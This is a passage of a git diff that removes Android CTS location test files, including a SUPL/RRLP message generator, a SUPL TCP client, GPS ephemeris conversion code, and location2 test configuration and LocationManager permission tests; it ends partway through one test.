- gpsNavMessageProto.iono = ionosphericModelProto;
-
- ArrayList<GpsEphemerisProto> ephemerisList = new ArrayList<>();
- for (NavModelElement navModelElement : navModelElements) {
- int satID = navModelElement.getSatelliteID().getInteger().intValue();
- SatStatus satStatus = navModelElement.getSatStatus();
- UncompressedEphemeris ephemeris = satStatus.getNewSatelliteAndModelUC();
-
- GpsEphemerisProto gpsEphemerisProto = new GpsEphemerisProto();
- toSingleEphemeris(satID, gpsWeek, ephemeris, gpsEphemerisProto);
- ephemerisList.add(gpsEphemerisProto);
- }
-
- gpsNavMessageProto.ephemerids =
- ephemerisList.toArray(new GpsEphemerisProto[ephemerisList.size()]);
- gpsNavMessageProto.rpcStatus = GpsNavMessageProto.SUCCESS;
-
- return gpsNavMessageProto;
- }
-
- /**
- * Calculates the GPS week with rollovers. A rollover happens every 1024 weeks, beginning from GPS
- * epoch (January 6, 1980).
- *
- * @param gpsWeek The modulo-1024 GPS week.
- *
- * @return The absolute GPS week.
- */
- private int getGpsWeekWithRollover(int gpsWeek) {
- long nowMs = System.currentTimeMillis();
- long elapsedTimeFromGpsEpochMs = nowMs - GPS_EPOCH_AS_UNIX_EPOCH_MS;
- long rolloverCycles = elapsedTimeFromGpsEpochMs / GPS_CYCLE_MS;
- int rolloverWeeks = (int) rolloverCycles * GPS_CYCLE_WEEKS;
- return gpsWeek + rolloverWeeks;
- }
-
- /**
- * Fills GpsEphemerisProto with the assistance data obtained in UncompressedEphemeris for the
- * given satellite id.
- */
- private void toSingleEphemeris(
- int satId, int gpsWeek, UncompressedEphemeris ephemeris,
- GpsEphemerisProto gpsEphemerisProto) {
-
- gpsEphemerisProto.prn = satId + 1;
- gpsEphemerisProto.week = gpsWeek;
- gpsEphemerisProto.l2Code = ephemeris.getEphemCodeOnL2().getInteger().intValue();
- gpsEphemerisProto.l2Flag = ephemeris.getEphemL2Pflag().getInteger().intValue();
- gpsEphemerisProto.svHealth = ephemeris.getEphemSVhealth().getInteger().intValue();
-
- gpsEphemerisProto.iode = ephemeris.getEphemIODC().getInteger().intValue();
- gpsEphemerisProto.iodc = ephemeris.getEphemIODC().getInteger().intValue();
- gpsEphemerisProto.toc = ephemeris.getEphemToc().getInteger().intValue() * NAVIGATION_TOC_SCALE_FACTOR;
- gpsEphemerisProto.toe = ephemeris.getEphemToe().getInteger().intValue() * NAVIGATION_TOE_SCALE_FACTOR;
- gpsEphemerisProto.af0 = ephemeris.getEphemAF0().getInteger().intValue() * NAVIGATION_AF0_SCALE_FACTOR;
- gpsEphemerisProto.af1 = ephemeris.getEphemAF1().getInteger().shortValue() * NAVIGATION_AF1_SCALE_FACTOR;
- gpsEphemerisProto.af2 = ephemeris.getEphemAF2().getInteger().byteValue() * NAVIGATION_AF2_SCALE_FACTOR;
- gpsEphemerisProto.tgd = ephemeris.getEphemTgd().getInteger().byteValue() * NAVIGATION_TGD_SCALE_FACTOR;
- gpsEphemerisProto.rootOfA = ephemeris.getEphemAPowerHalf().getInteger().longValue()
- * NAVIGATION_A_POWER_HALF_SCALE_FACTOR;
-
- gpsEphemerisProto.e = ephemeris.getEphemE().getInteger().longValue() * NAVIGATION_E_SCALE_FACTOR;
- gpsEphemerisProto.i0 = ephemeris.getEphemI0().getInteger().intValue() * NAVIGATION_I0_SCALE_FACTOR;
- gpsEphemerisProto.iDot = ephemeris.getEphemIDot().getInteger().intValue() * NAVIGATION_I_DOT_SCALE_FACTOR;
- gpsEphemerisProto.omega = ephemeris.getEphemW().getInteger().intValue() * NAVIGATION_W_SCALE_FACTOR;
- gpsEphemerisProto.omega0 = ephemeris.getEphemOmegaA0().getInteger().intValue() * NAVIGATION_OMEGA0_SCALE_FACTOR;
- gpsEphemerisProto.omegaDot = ephemeris.getEphemOmegaADot().getInteger().intValue()
- * NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR;
- gpsEphemerisProto.m0 = ephemeris.getEphemM0().getInteger().intValue() * NAVIGATION_M0_SCALE_FACTOR;
- gpsEphemerisProto.deltaN = ephemeris.getEphemDeltaN().getInteger().shortValue() * NAVIGATION_DELTA_N_SCALE_FACTOR;
- gpsEphemerisProto.crc = ephemeris.getEphemCrc().getInteger().shortValue() * NAVIGATION_CRC_SCALE_FACTOR;
- gpsEphemerisProto.crs = ephemeris.getEphemCrs().getInteger().shortValue() * NAVIGATION_CRS_SCALE_FACTOR;
- gpsEphemerisProto.cuc = ephemeris.getEphemCuc().getInteger().shortValue() * NAVIGATION_CUC_SCALE_FACTOR;
- gpsEphemerisProto.cus = ephemeris.getEphemCus().getInteger().shortValue() * NAVIGATION_CUS_SCALE_FACTOR;
- gpsEphemerisProto.cic = ephemeris.getEphemCic().getInteger().shortValue() * NAVIGATION_CIC_SCALE_FACTOR;
- gpsEphemerisProto.cis = ephemeris.getEphemCis().getInteger().shortValue() * NAVIGATION_CIS_SCALE_FACTOR;
-
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
deleted file mode 100644
index e6f3446..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
+++ /dev/null
@@ -1,288 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import android.location.cts.asn1.base.PacketBuilder;
-import android.location.cts.asn1.supl2.rrlp_messages.PDU;
-import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
-import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
-import android.location.cts.asn1.supl2.supl_pos_init.NavigationModel;
-import android.location.cts.asn1.supl2.supl_pos_init.RequestedAssistData;
-import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
-import android.location.cts.asn1.supl2.supl_start.PosProtocol;
-import android.location.cts.asn1.supl2.supl_start.PosTechnology;
-import android.location.cts.asn1.supl2.supl_start.PrefMethod;
-import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
-import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
-import android.location.cts.asn1.supl2.ulp.ULP_PDU;
-import android.location.cts.asn1.supl2.ulp.UlpMessage;
-import android.location.cts.asn1.supl2.ulp_components.CellInfo;
-import android.location.cts.asn1.supl2.ulp_components.LocationId;
-import android.location.cts.asn1.supl2.ulp_components.Position;
-import android.location.cts.asn1.supl2.ulp_components.Position.timestampType;
-import android.location.cts.asn1.supl2.ulp_components.PositionEstimate;
-import android.location.cts.asn1.supl2.ulp_components.PositionEstimate.latitudeSignType;
-import android.location.cts.asn1.supl2.ulp_components.SessionID;
-import android.location.cts.asn1.supl2.ulp_components.SetSessionID;
-import android.location.cts.asn1.supl2.ulp_components.Status;
-import android.location.cts.asn1.supl2.ulp_components.Version;
-import android.location.cts.asn1.supl2.ulp_components.WcdmaCellInformation;
-
-import java.math.BigInteger;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.BitSet;
-import java.util.Calendar;
-import java.util.GregorianCalendar;
-import java.util.Random;
-import java.util.TimeZone;
-
-import javax.annotation.Nullable;
-
-/**
- * A class that generates several types of GPS SUPL client payloads that can be transmitted over a
- * GPS socket.
- *
- * <p>Two types of SUPL payloads are supported in this version: Local Location and WCDMA versions.
- * However, it should be straightforward to extend this class to support other types of SUPL
- * requests.
- */
-public class SuplRrlpMessagesGenerator {
- // Scale factors used for conversion from latitude and longitude in SUPL protocol format
- // to decimal format
- private static final double POSITION_ESTIMATE_LAT_SCALE_FACTOR = 90.0 / 8388608.0;
- private static final double POSITION_ESTIMATE_LNG_SCALE_FACTOR = 180.0 / 8388608.0;
-
- /**
- * Generate a SUPL START message that can be send by the SUPL client to the server in the case
- * that device location is known via a latitude and a longitude.
- *
- * <p>SUPL START is the first message to be send from the client to the server. The server should
- * response to the SUPL START message with a SUPL RESPONSE message containing a SessionID.
- *
- */
- public static byte[] generateSuplStartLocalLocationMessage(@Nullable InetAddress ipAddress)
- throws UnknownHostException {
-
- ULP_PDU ulpPdu = new ULP_PDU();
- Version version = ulpPdu.setVersionToNewInstance();
- version.setMinToNewInstance().setInteger(BigInteger.ZERO);
- version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
- version.setServindToNewInstance().setInteger(BigInteger.ZERO);
- ulpPdu.setVersion(version);
-
- SessionID sessionId = ulpPdu.setSessionIDToNewInstance();
-
- SetSessionID setSessionId = sessionId.setSetSessionIDToNewInstance();
- setSessionId.setSessionIdToNewInstance()
- .setInteger(BigInteger.valueOf(new Random().nextInt(65536)));
- if (ipAddress == null){
- ipAddress = InetAddress.getLocalHost();
- }
- byte[] ipAsbytes = ipAddress.getAddress();
- setSessionId.setSetIdToNewInstance().setIPAddressToNewInstance().setIpv4AddressToNewInstance()
- .setValue(ipAsbytes);
-
- UlpMessage message = new UlpMessage();
- SUPLSTART suplStart = message.setMsSUPLSTARTToNewInstance();
- SETCapabilities setCapabilities = suplStart.setSETCapabilitiesToNewInstance();
- PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
- posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
- posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
- posTechnology.setAutonomousGPSToNewInstance().setValue(true);
- posTechnology.setAFLTToNewInstance().setValue(false);
- posTechnology.setECIDToNewInstance().setValue(false);
- posTechnology.setEOTDToNewInstance().setValue(false);
- posTechnology.setOTDOAToNewInstance().setValue(false);
-
- setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
-
- PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
- posProtocol.setTia801ToNewInstance().setValue(false);
- posProtocol.setRrlpToNewInstance().setValue(true);
- posProtocol.setRrcToNewInstance().setValue(false);
-
- LocationId locationId = suplStart.setLocationIdToNewInstance();
- CellInfo cellInfo = locationId.setCellInfoToNewInstance();
- cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
- // FF-FF-FF-FF-FF-FF
- final String macBinary = "111111111111111111111111111111111111111111111111";
- BitSet bits = new BitSet(macBinary.length());
- for (int i = 0; i < macBinary.length(); ++i) {
- if (macBinary.charAt(i) == '1') {
- bits.set(i);
- }
- }
- cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
- .setApMACAddressToNewInstance().setValue(bits);
- locationId.setStatusToNewInstance().setValue(Status.Value.current);
-
- message.setMsSUPLSTART(suplStart);
-
- ulpPdu.setMessage(message);
- return encodeUlp(ulpPdu);
- }
-
- /**
- * Generate a SUPL POS INIT message that can be send by the SUPL client to the server in the case
- * that device location is known via a latitude and a longitude.
- *
- * <p>SUPL POS INIT is the second message to be send from the client to the server after receiving
- * a SUPL RESPONSE containing a SessionID from the server. The SessionID received
- * from the server response should set in the SUPL POS INIT message.
- *
- */
- public static byte[] generateSuplPositionInitLocalLocationMessage(SessionID sessionId, long latE7,
- long lngE7) {
-
- ULP_PDU ulpPdu = new ULP_PDU();
- Version version = ulpPdu.setVersionToNewInstance();
- version.setMinToNewInstance().setInteger(BigInteger.ZERO);
- version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
- version.setServindToNewInstance().setInteger(BigInteger.ZERO);
- ulpPdu.setVersion(version);
-
- ulpPdu.setSessionID(sessionId);
-
- UlpMessage message = new UlpMessage();
- SUPLPOSINIT suplPosInit = message.setMsSUPLPOSINITToNewInstance();
- SETCapabilities setCapabilities = suplPosInit.setSETCapabilitiesToNewInstance();
- PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
- posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
- posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
- posTechnology.setAutonomousGPSToNewInstance().setValue(true);
- posTechnology.setAFLTToNewInstance().setValue(false);
- posTechnology.setECIDToNewInstance().setValue(false);
- posTechnology.setEOTDToNewInstance().setValue(false);
- posTechnology.setOTDOAToNewInstance().setValue(false);
-
- setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
-
- PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
- posProtocol.setTia801ToNewInstance().setValue(false);
- posProtocol.setRrlpToNewInstance().setValue(true);
- posProtocol.setRrcToNewInstance().setValue(false);
-
- RequestedAssistData reqAssistData = suplPosInit.setRequestedAssistDataToNewInstance();
-
- reqAssistData.setAlmanacRequestedToNewInstance().setValue(false);
- reqAssistData.setUtcModelRequestedToNewInstance().setValue(false);
- reqAssistData.setIonosphericModelRequestedToNewInstance().setValue(true);
- reqAssistData.setDgpsCorrectionsRequestedToNewInstance().setValue(false);
- reqAssistData.setReferenceLocationRequestedToNewInstance().setValue(false);
- reqAssistData.setReferenceTimeRequestedToNewInstance().setValue(true);
- reqAssistData.setAcquisitionAssistanceRequestedToNewInstance().setValue(false);
- reqAssistData.setRealTimeIntegrityRequestedToNewInstance().setValue(false);
- reqAssistData.setNavigationModelRequestedToNewInstance().setValue(true);
- NavigationModel navigationModelData = reqAssistData.setNavigationModelDataToNewInstance();
- navigationModelData.setGpsWeekToNewInstance().setInteger(BigInteger.ZERO);
- navigationModelData.setGpsToeToNewInstance().setInteger(BigInteger.ZERO);
- navigationModelData.setNSATToNewInstance().setInteger(BigInteger.ZERO);
- navigationModelData.setToeLimitToNewInstance().setInteger(BigInteger.ZERO);
-
- LocationId locationId = suplPosInit.setLocationIdToNewInstance();
- CellInfo cellInfo = locationId.setCellInfoToNewInstance();
- cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
- // FF-FF-FF-FF-FF-FF
- final String macBinary = "111111111111111111111111111111111111111111111111";
- BitSet bits = new BitSet(macBinary.length());
- for (int i = 0; i < macBinary.length(); ++i) {
- if (macBinary.charAt(i) == '1') {
- bits.set(i);
- }
- }
- cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
- .setApMACAddressToNewInstance().setValue(bits);
- locationId.setStatusToNewInstance().setValue(Status.Value.current);
-
- Position pos = suplPosInit.setPositionToNewInstance();
- timestampType utcTime = pos.setTimestampToNewInstance();
- Calendar currentTime = GregorianCalendar.getInstance(TimeZone.getTimeZone("UTC"));
- utcTime.setYear(currentTime.get(Calendar.YEAR));
- utcTime.setMonth(currentTime.get(Calendar.MONTH) + 1); // Calendar's MONTH starts from 0.
- utcTime.setDay(currentTime.get(Calendar.DAY_OF_MONTH));
- utcTime.setHour(currentTime.get(Calendar.HOUR_OF_DAY));
- utcTime.setMinute(currentTime.get(Calendar.MINUTE));
- utcTime.setSecond(currentTime.get(Calendar.SECOND));
-
- PositionEstimate posEstimate = pos.setPositionEstimateToNewInstance();
-
- long latSuplFormat = (long) (Math.abs(latE7) / (POSITION_ESTIMATE_LAT_SCALE_FACTOR * 1E7));
- long lngSuplFormat = (long) (lngE7 / (POSITION_ESTIMATE_LNG_SCALE_FACTOR * 1E7));
- posEstimate.setLatitudeToNewInstance().setInteger(BigInteger.valueOf(latSuplFormat));
- posEstimate.setLongitudeToNewInstance().setInteger(BigInteger.valueOf(lngSuplFormat));
- posEstimate.setLatitudeSignToNewInstance()
- .setValue(latE7 > 0 ? latitudeSignType.Value.north : latitudeSignType.Value.south);
-
- message.setMsSUPLPOSINIT(suplPosInit);
-
- ulpPdu.setMessage(message);
- return encodeUlp(ulpPdu);
- }
-
- public static byte[] generateAssistanceDataAckMessage(SessionID sessionId) {
- ULP_PDU ulpPdu = new ULP_PDU();
- Version version = ulpPdu.setVersionToNewInstance();
- version.setMinToNewInstance().setInteger(BigInteger.ZERO);
- version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
- version.setServindToNewInstance().setInteger(BigInteger.ZERO);
- ulpPdu.setVersion(version);
-
- ulpPdu.setSessionID(sessionId);
-
- PDU pdu = new PDU();
- pdu.setReferenceNumberToNewInstance();
- pdu.getReferenceNumber().setInteger(BigInteger.ONE);
- pdu.setComponentToNewInstance();
- pdu.getComponent().setAssistanceDataAckToNewInstance();
-
- PacketBuilder payloadBuilder = new PacketBuilder();
- try {
- payloadBuilder.appendAll(pdu.encodePerUnaligned());
- } catch (IllegalArgumentException | IllegalStateException | IndexOutOfBoundsException
- | UnsupportedOperationException e) {
- throw new RuntimeException(e);
- }
- PosPayLoad.rrlpPayloadType rrlpPayload = new PosPayLoad.rrlpPayloadType();
- rrlpPayload.setValue(payloadBuilder.getPaddedBytes());
-
- UlpMessage message = new UlpMessage();
- SUPLPOS suplPos = message.setMsSUPLPOSToNewInstance();
- suplPos.setPosPayLoadToNewInstance();
- suplPos.getPosPayLoad().setRrlpPayload(rrlpPayload);
-
- ulpPdu.setMessage(message);
-
- return encodeUlp(ulpPdu);
- }
-
- /** Encodes a ULP_PDU message into bytes and sets the length field. */
- public static byte[] encodeUlp(ULP_PDU message) {
- message.setLengthToNewInstance();
- message.getLength().setInteger(BigInteger.ZERO);
- PacketBuilder messageBuilder = new PacketBuilder();
- messageBuilder.appendAll(message.encodePerUnaligned());
- byte[] result = messageBuilder.getPaddedBytes();
- ByteBuffer buffer = ByteBuffer.wrap(result);
- buffer.order(ByteOrder.BIG_ENDIAN);
- buffer.putShort((short) result.length);
- return buffer.array();
- }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java b/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
deleted file mode 100644
index 81d6d06..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import java.io.BufferedInputStream;
-import java.io.IOException;
-import java.net.Socket;
-import java.net.UnknownHostException;
-import java.nio.ByteBuffer;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A TCP client that is used to send and receive SUPL request and responses by the SUPL client. The
- * constructor establishes a connection to the SUPL server specified by a given address and port.
- */
-public class SuplTcpClient {
-
- private static final int READ_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10);
- private static final short HEADER_SIZE = 2;
- /** BUFFER_SIZE data size that is enough to hold SUPL responses */
- private static final int SUPL_RESPONSE_BUFFER_SIZE = 16384;
- private static final byte[] SUPL_RESPONSE_BUFFER = new byte[SUPL_RESPONSE_BUFFER_SIZE];
-
- private Socket socket;
- private BufferedInputStream bufferedInputStream;
-
- public SuplTcpClient(String suplServerName, int suplServerPort)
- throws UnknownHostException, IOException {
- System.out.println("Connecting to " + suplServerName + " on port " + suplServerPort);
- socket = new Socket(suplServerName, suplServerPort);
- socket.setSoTimeout(READ_TIMEOUT_MILLIS);
- System.out.println("Connection established to " + socket.getOutputStream());
- bufferedInputStream = new BufferedInputStream(socket.getInputStream());
-
- }
-
- /** Sends a byte array of SUPL data to the server */
- public void sendSuplRequest(byte[] data) throws IOException {
- socket.getOutputStream().write(data);
- }
-
- /**
- * Reads SUPL server response and return it as a byte array. Upon the SUPL protocol, the size of
- * the payload is stored in the first two bytes of the response, hence these two bytes are read
- * first followed by reading a payload of that size. Null is returned if the size of the payload
- * is not readable.
- */
- public byte[] getSuplResponse() throws IOException {
- int sizeOfRead = bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 0, HEADER_SIZE);
- if (sizeOfRead == HEADER_SIZE) {
- byte[] lengthArray = {SUPL_RESPONSE_BUFFER[0], SUPL_RESPONSE_BUFFER[1]};
- short dataLength = ByteBuffer.wrap(lengthArray).getShort();
- bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 2, dataLength - HEADER_SIZE);
- return SUPL_RESPONSE_BUFFER;
- } else {
- return null;
- }
- }
-
- /** Closes the TCP socket */
- public void closeSocket() throws IOException {
- socket.close();
- }
-}
diff --git a/tests/tests/location2/Android.bp b/tests/tests/location2/Android.bp
deleted file mode 100644
index 0dc648d..0000000
--- a/tests/tests/location2/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
- name: "CtsLocation2TestCases",
- defaults: ["cts_defaults"],
- // Tag this module as a cts test artifact
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- ],
- static_libs: [
- "ctstestrunner-axt",
- "junit",
- ],
- libs: ["android.test.base.stubs"],
- srcs: ["src/**/*.java"],
- // uncomment when Location.EXTRA_NO_GPS_LOCATION is removed
- // sdk_version: "current",
- platform_apis: true,
-}
diff --git a/tests/tests/location2/AndroidManifest.xml b/tests/tests/location2/AndroidManifest.xml
deleted file mode 100644
index d78c3f8..0000000
--- a/tests/tests/location2/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.location2.cts"
- android:targetSandboxVersion="2">
-
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.location2.cts"
- android:label="CTS tests of android.location">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener" />
- </instrumentation>
-</manifest>
-
diff --git a/tests/tests/location2/AndroidTest.xml b/tests/tests/location2/AndroidTest.xml
deleted file mode 100644
index 981c00b..0000000
--- a/tests/tests/location2/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Location test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="location" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLocation2TestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.location2.cts" />
- <option name="runtime-hint" value="10m30s" />
- </test>
-
-</configuration>
diff --git a/tests/tests/location2/OWNERS b/tests/tests/location2/OWNERS
deleted file mode 100644
index e875815..0000000
--- a/tests/tests/location2/OWNERS
+++ /dev/null
@@ -1,5 +0,0 @@
-# Bug component: 32850
-wyattriley@google.com
-patrickor@google.com
-aadmal@google.com
-sooniln@google.com
diff --git a/tests/tests/location2/README.txt b/tests/tests/location2/README.txt
deleted file mode 100644
index 92241eb..0000000
--- a/tests/tests/location2/README.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Location CTS tests that require "android.permission.ACCESS_COARSE_LOCATION", but not
-"android.permission.ACCESS_FINE_LOCATION". Note you must enable "Allow mock locations"
-at Settings > Developer options.
diff --git a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
deleted file mode 100644
index 8f8da53..0000000
--- a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
+++ /dev/null
@@ -1,488 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location2.cts;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.location.Criteria;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.List;
-
-/**
- * Requires the permissions
- * android.permission.ACCESS_MOCK_LOCATION to mock provider
- * android.permission.ACCESS_COARSE_LOCATION to access network provider
- * android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to provider
- */
-public class LocationManagerTest extends InstrumentationTestCase {
-
- public static final String LOG_TAG = "LocationManagerTest";
-
- private static final long TEST_TIME_OUT_MS = 10 * 1000;
-
- private static final double LAT = 10.0;
- private static final double LNG = 40.0;
- private static final double FUDGER_DELTA = 0.2;
-
- private LocationManager mManager;
-
- private Context mContext;
-
- private PendingIntent mPendingIntent;
-
- private TestIntentReceiver mIntentReceiver;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
-
- mManager = (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
-
- setAsMoskLocationProvider(true);
- }
-
- @Override
- protected void tearDown() throws Exception {
- setAsMoskLocationProvider(false);
- super.tearDown();
- }
-
- public void testGetGpsProvider_notAllowed() {
- doTestGetFineProvider_notAllowed(LocationManager.GPS_PROVIDER);
- }
-
- public void testGetFineProvider_notAllowed() {
- doTestGetFineProvider_notAllowed("my fine provider name");
- }
-
- private void doTestGetFineProvider_notAllowed(String providerName) {
- addTestProvider(providerName, Criteria.ACCURACY_FINE, false, true, false);
-
- try {
- mManager.getProvider(providerName);
- fail("LocationManager.getProvider() did not throw SecurityException as expected");
- } catch (SecurityException expected) {
- } finally {
- removeTestProvider(providerName);
- }
- }
-
- /**
- * Work around b/11446702 by clearing the test provider before removing it
- */
- private void removeTestProvider(String providerName) {
- mManager.clearTestProviderEnabled(providerName);
- mManager.removeTestProvider(providerName);
- }
-
- public void testGetNetworkProvider_allowed() {
- doTestGetCoarseProvider_allowed(LocationManager.NETWORK_PROVIDER);
- }
-
- public void testGetCoarseProvider_allowed() {
- doTestGetCoarseProvider_allowed("my coarse provider name");
- }
-
- public void doTestGetCoarseProvider_allowed(String providerName) {
- try {
- addTestProvider(providerName, Criteria.ACCURACY_COARSE, true, false, true);
- assertNotNull(mManager.getProvider(providerName));
- } finally {
- removeTestProvider(providerName);
- }
- }
-
- public void testGetNetworkProviderLocationUpdates_withIntent() {
- doTestGetLocationUpdates_withIntent(LocationManager.NETWORK_PROVIDER);
- }
-
- public void testGetNetworkProviderLocationUpdates_withListener() {
- doTestGetLocationUpdates_withListener(LocationManager.NETWORK_PROVIDER);
- }
-
- public void testGetCoarseLocationUpdates_withIntent() {
- doTestGetLocationUpdates_withIntent("my coarse provider name");
- }
-
- public void testGetCoarseLocationUpdates_withListener() {
- doTestGetLocationUpdates_withListener("my coarse provider name");
- }
-
- public void testGnssProvidedClock() throws Exception {
- String providerName = LocationManager.GPS_PROVIDER;
- try {
- addTestProvider(providerName, Criteria.ACCURACY_COARSE, true,
- false, true);
- Location location = new Location(providerName);
- long elapsed = SystemClock.elapsedRealtimeNanos();
- location.setLatitude(0);
- location.setLongitude(0);
- location.setAccuracy(0);
- location.setElapsedRealtimeNanos(elapsed);
- location.setTime(1);
- mManager.setTestProviderLocation(providerName, location);
- assertTrue(SystemClock.currentGnssTimeClock().millis() < 1000);
-
